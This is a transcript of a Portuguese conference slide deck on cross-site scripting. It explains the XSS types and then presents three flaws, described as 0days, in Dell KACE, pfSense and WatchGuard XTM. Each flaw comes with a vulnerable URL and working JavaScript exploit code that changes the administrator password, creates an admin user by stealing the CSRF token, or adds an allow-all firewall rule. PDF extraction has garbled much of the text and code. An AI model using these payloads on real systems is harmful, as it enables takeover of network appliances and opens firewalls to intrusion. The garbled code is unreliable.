Quem tem medo do XSS

915 visualizações

Publicada em

Publicada em: Tecnologia
0 comentários
2 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
915
No SlideShare
0
A partir de incorporações
0
Número de incorporações
42
Ações
Compartilhamentos
0
Downloads
13
Comentários
0
Gostaram
2
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Quem tem medo do XSS

  1. 1. Quem  tem  medo  de  XSS? William  Costa  
  2. 2. Composição  do  XSS.   Os  XSS’s  normalmente  são  divididos  em  3  categorias     Reflected  XSS                Stored  XSS                          DOM  Based  XSS      
  3. 3. Reflected  XSS Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina   de  pesquisa  ou  em  uma  variável. Ex:  hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected  XSS")</script>  
  4. 4. Stored  XSS Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada   vez  que  a  pagina  for  acessada. Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros   Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o   Forum  recebem  a  tela  
  5. 5. DOM  XSS O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  uJlizada  por   um  script     Ex:  Campos  de  interação  em  tempo  real.            <img  src=search  onerror=alert('DOM_XSS')>    
  6. 6. O  XSS  aparece  no  top  10  do  OWASP  desde   seu  primeiro  relatório.     OWASP  Top  10  –  2003     Top            VulnerabiliIes  in  Web  ApplicaIons     A1  Unvalidated  Parameters   A2  Broken  Access  Control   A3  Broken  Account  and  Session  Management   A4  Cross-­‐Site  Scrip8ng  (XSS)  Flaws   A5  Buffer  Overflows   A6  Command  InjecIon  Flaws   A7  Error  Handling  Problems   A8  Insecure  Use  of  Cryptography   A9  Remote  AdministraIon  Flaws   A10    Web  and  ApplicaIon  Server  MisconfiguraIon  
  7. 7. E  após  10  Anos  ele  conJnua  entre  os  10 •  OWASP  Top  10  –  2013  (New)       •  A1  –  InjecIon       •  A2  –  Broken  AuthenIcaIon  and  Session  Management       •  A3  –  Cross-­‐Site  Scrip8ng  (XSS)       •  A4  –  Insecure  Direct  Object  References       •  A5  –  Security  MisconfiguraIon       •  A6  –  SensiIve  Data  Exposure       •  A7  –  Missing  FuncIon  Level  Access  Control       •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)       •  A9  –  Using  Known  Vulnerable  Components       •  A10  –  Unvalidated  Redirects  and  Forwards          
  8. 8. Como  são  apresentadas  as  Falhas  de  XSS      
  9. 9. Como  normalmente  é  apresentando  o  Impacto  do  XSS      
  10. 10. Como  elas  deferiam  ser  apresentadas
  11. 11. Como  realmente  são  os  Impactos  dos  XSS
  12. 12.                                                            Falha  #1  Dell  KACE  V.6.3.113397     Falha  na  pagina  de  criação  de  um  Ticket.   Proteções:     Flag  HFpOnly   Token  CSRF   URL  Vulnerável:  /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</ script>
  13. 13. Pagina  onde  ocorre  a  vulnerabilidade Alguma  Ideia  de  como  podemos  ir  além  do  alert?
  14. 14. Função  Alvo
  15. 15. Exploit  para  alteração  da  senha  do  ADMIN.   •  Um  simples  Iframe  já  nos  possibilita  a  alteração  de  senha  do  usuário   administrador.      document.write('<iframe  width=0  height=0  name="xss"  src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> iframe>');     funcIon  append(senha)   {   window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";   window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";   window.frames['xss'].document.UserForm.submit();   }   setTimeout("append("Imeout")",2500);    
  16. 16.                                                            Falha  #2  PFSENSE  V.  2.2.2   Falha  na  pagina  de  remoção  de    CapJves  portais.   Proteções:     Token  CSRF   Checagem  do  Header  HTTP_REFERER
  17. 17. Pagina  onde  ocorre  a  vulnerabilidade Alguma  Ideia  ?
  18. 18. Função  Alvo
  19. 19. Exploit  para  criação  de  Usuário  de  Administração.   •  O  Exploit  cria  um  formulário  dentro  da  pagina  vulnerável  obtém  o   TOKEN  CSRF  da  mesma  e  envia  o  form  para  a  pagina  de  criação  de   usuários  “bypassando”  a  proteção  do  HTTP_REFERER     document.write('<iframe  width=1000  height=1000  name="xss">  </iframe>');   xss.document.write('<body><form  id="CSRF"  acIon="hlp://192.168.217.100/system_usermanager.php"  method="post"   name="CSRF">');   xss.document.write('<input  name="__csrf_magic"  value=""</input>');   xss.document.write('<input  name="utype"  value="user">  </input>');   xss.document.write('<input  name="usernamefld"  value="teste">  </input>');   xss.document.write('<input  name="passwordfld1"  value="123456">  </input>');   xss.document.write('<input  name="passwordfld2"  value="123456">  </input>');   xss.document.write('<input  name="groups[]"  value="admins">  </input>');   xss.document.write('<input  name="save"  value="Save">  </input>');   xss.document.write('</form>');   xss.document.write('</body>');   window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;   window.frames['xss'].document.CSRF.submit();    
  20. 20. Falha  #3  Firewall  WatchGuard  XTM  V.  11.10.B473826     Falha  na  pagina  de  Gerenciamento  de  Access  Point.   Proteções:     Token  CSRF   Flag  HFpOnly
  21. 21. Pagina  onde  ocorre  a  vulnerabilidade   URL  Vulneravel:  /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script> Ideias  ??
  22. 22. Função  Alvo
  23. 23. Exploit.   •  Vamos  usar  uma  função  JSON  que  envie  via  post  todas   informações  necessárias  para  criação  de  uma  poliIca  que  permita   tudo  de  fora  para  dentro  da  rede.        $.ajax({                  type:  "POST",                  url:  "hlps://10.0.1.1:8080/put_data/",                  data:  '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol": {"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-­‐ Rule","enabled":true,"descripIon":"Policy  added  on  2015-­‐05-­‐005T18:02:38-­‐03:00.","property": 0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info": {"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐External","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"to_list": [{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐ Trusted","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always   On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled": 0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng": 1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled": 0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method": 0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled": 0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp": 0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list": []},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag": 1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash": {},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs": [{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces": [{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in€_list":[],"helper_tunnel_list":[],"helper_alias_list": [],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list": [],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list": [],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list": [],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',                    contentType:  "applicaIon/json;  charset=UTF-­‐8",    accept:  "*/*",                  dataType:  "json",  
  24. 24. As  3  vulnerabilidades   apresentadas  aqui  são  0days,   Baixem  e  façam  seus   próprios  testes  J    
  25. 25. <script>alert(String(/Perguntas?/).substr(1,10)  );  </script> william.costa  arroba  gmail.com

×